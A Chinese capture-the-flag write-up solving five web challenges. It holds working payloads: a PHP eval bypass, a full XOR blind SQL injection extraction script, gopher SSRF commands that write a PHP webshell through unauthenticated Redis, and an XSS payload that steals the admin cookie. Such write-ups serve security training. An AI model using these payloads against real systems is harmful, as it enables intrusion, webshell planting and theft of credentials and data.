ez_rce

ban 掉了命令执行函数和 flag 关键字,最终 eval($_POST['cmd']) 执行,提示 flag 在 /flag 中,使用文件读取函数

1
cmd=highlight_file(base64_decode('L2ZsYWc='));

ez_pysandbox

题目要求输出文件名为 1 的文件内容,限制字符数为 23,而且有大量 waf

被标题唬住了,以为是打 python 沙箱逃逸,但实际上考察的内容为全角字符绕过

1
print(open('1').read())

后记:getoutput()函数的使用可以进一步脱离字数限制

1
getoutput('1')

ez_sql

注入 1 正常回显,注入 1' 回显为 An error occurred,判断闭合点为单引号

使用字典测试发现 waf 掉了所有的注释符

img

尝试注入 1' = '1,回显正常,说明 sql 语句被一对单引号包裹,利用两层异或构造布尔盲注条件,条件为真时回显为 GHO ********,条件为假时回显为 SHA********

1
1' xor (select case when (1=1) then 1 else 0 end) xor '1'='1

盲注脚本,由于 information_schema 被 waf 了所以需要猜常见表名列名

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
_"""_
_ezSQL Challenge — XOR Blind SQLi 完整脚本_
_逐字符爆:database()、字段值_
_猜+验证:表名、列名(因为 information_schema 被 WAF 拦 + 权限受限)_
_"""_
import string
import requests

url = 'http://localhost:5000/'
success = 'GHO'
charset = string.ascii_letters + string.digits + string.punctuation

# 常见表名/列名字典
table_guesses = ['flag', 'users', 'secrets', 'secret', 'flags', 'f1ag', 'admin']
column_guesses = ['flag', 'flag_value', 'value', 'content', 'secret', 'data',
'id', 'username', 'password', 'role', 'name']


# ─── Step 1: database() 长度 ──────────────────────────────
def burst_dblen():
for i in range(0, 100):
payload = {'id': f"1' xor (select case when (length(database())={i}) then 1 else 0 end) xor '1'='1"}
if success in requests.post(url, data=payload).text:
return i


# ─── Step 2: database() 名字(逐字符爆破) ────────────────
def burst_dbname(length):
dbname = ''
for i in range(1, length + 1):
for j in charset:
payload = {'id': f"1' xor (select case when (ord(mid(database(),{i},1))={ord(j)}) then 1 else 0 end) xor '1'='1"}
if success in requests.post(url, data=payload).text:
dbname += j
print(f"[+] dbname: {dbname}")
break
return dbname


# ─── Step 3: 猜+验证表名 ──────────────────────────────────
def burst_tables():
_"""猜常见表名,验证是否存在"""_
_ _tables = []
for t in table_guesses:
payload = {'id': f"1' xor (select case when ((select count(*) from {t})>=0) then 1 else 0 end) xor '1'='1"}
if success in requests.post(url, data=payload).text:
tables.append(t)
print(f"[+] table found: {t}")
return tables


# ─── Step 4: 猜+验证列名 ──────────────────────────────────
def burst_columns(table):
_"""猜常见列名,验证表中是否存在"""_
_ _columns = []
for col in column_guesses:
payload = {'id': f"1' xor (select case when ((select count(*) from {table} where {col} is not null)>=0) then 1 else 0 end) xor '1'='1"}
if success in requests.post(url, data=payload).text:
columns.append(col)
print(f"[+] {table}.{col}")
return columns


# ─── Step 5: 字段长度 ────────────────────────────────────
def burst_field_len(table, column):
for i in range(1, 200):
payload = {'id': f"1' xor (select case when (length((select {column} from {table} limit 1))={i}) then 1 else 0 end) xor '1'='1"}
if success in requests.post(url, data=payload).text:
print(f"[+] {table}.{column} length = {i}")
return i


# ─── Step 6: 字段值(逐字符爆破) ─────────────────────────
def burst_field_value(table, column, length):
value = ''
for i in range(1, length + 1):
for j in charset:
payload = {'id': f"1' xor (select case when (ord(mid((select {column} from {table} limit 1),{i},1))={ord(j)}) then 1 else 0 end) xor '1'='1"}
if success in requests.post(url, data=payload).text:
value += j
print(f"[+] {table}.{column}: {value}")
break
return value


# ─── Main ─────────────────────────────────────────────────
if __name__ == '__main__':
# Step 1-2: 库名(逐字符)
dblen = burst_dblen()
dbname = burst_dbname(dblen)

# Step 3-4: 表名、列名(猜+验证)
tables = burst_tables()
for t in tables:
columns = burst_columns(t)

# Step 5-6: 从 flag 表提取 flag(逐字符)
if 'flag' in tables:
for col in columns: # columns 是全局最后一次 burst_columns 的结果
pass
# 重新获取 flag 表的列
flag_cols = burst_columns('flag')
for col in flag_cols:
if col == 'id':
continue
flen = burst_field_len('flag', col)
if flen:
flag_value = burst_field_value('flag', col, flen)
print(f"\n🏁 FLAG = {flag_value}")

fishqianli-SmaterialPreviewhub

两个接口,一个是进行 url 预览,一个进行文件模板渲染,题目提示 6379 打 SSRF

尝试通过 gopher 协议尝试 edis 命令执行,ping 的执结果为 PONG,说明确实是打未授权 Redis

1
gopher://127.0.0.1:6379/_ping

img

先扫一眼 Redis 目录:

1
gopher://127.0.0.1:6379/_config get dir

img

Redis 目录在 /var/www/challenge/storage/snippets/generated,而片段模板渲染功能可以预览 storage/snippets 目录下文件,因此我们可以在 redis 所在目录写入 webshell 然后进行 /generated 目录下的文件预览,经 system(ls xxx) 多次查看得到 flag 路径在 /var/www/challenge/config/flag.php,进行 Redis 目录执行

1
2
3
4
5
6
7
gopher://127.0.0.1:6379/_flushall

gopher://127.0.0.1:6379/_set shell "\x3c\x3f\x70\x68\x70\x20\x73\x79\x73\x74\x65\x6d\x28\x27\x63\x61\x74\x20\x2f\x76\x61\x72\x2f\x77\x77\x77\x2f\x63\x68\x61\x6c\x6c\x65\x6e\x67\x65\x2f\x63\x6f\x6e\x66\x69\x67\x2f\x66\x6c\x61\x67\x2e\x70\x68\x70\x27\x29\x3b\x3f\x3e"

gopher://127.0.0.1:6379/_config set dbfilename shell.php

gopher://127.0.0.1:6379/_save

img

预览 /generated/shell.php 得 flag

img

ez_xss

提供的 /test 接口会记录访问该页面的请求,经典 xss 窃取管理员 cookie,让管理员触发首页的恶意 xss,跳转至 /test 完成 cookie 窃取

1
<img src="xxx" onerror="fetch('/test?c='+document.cookie)">

访问 /test 获取管理员 cookie,携带该 cookie 访问 /flag 即可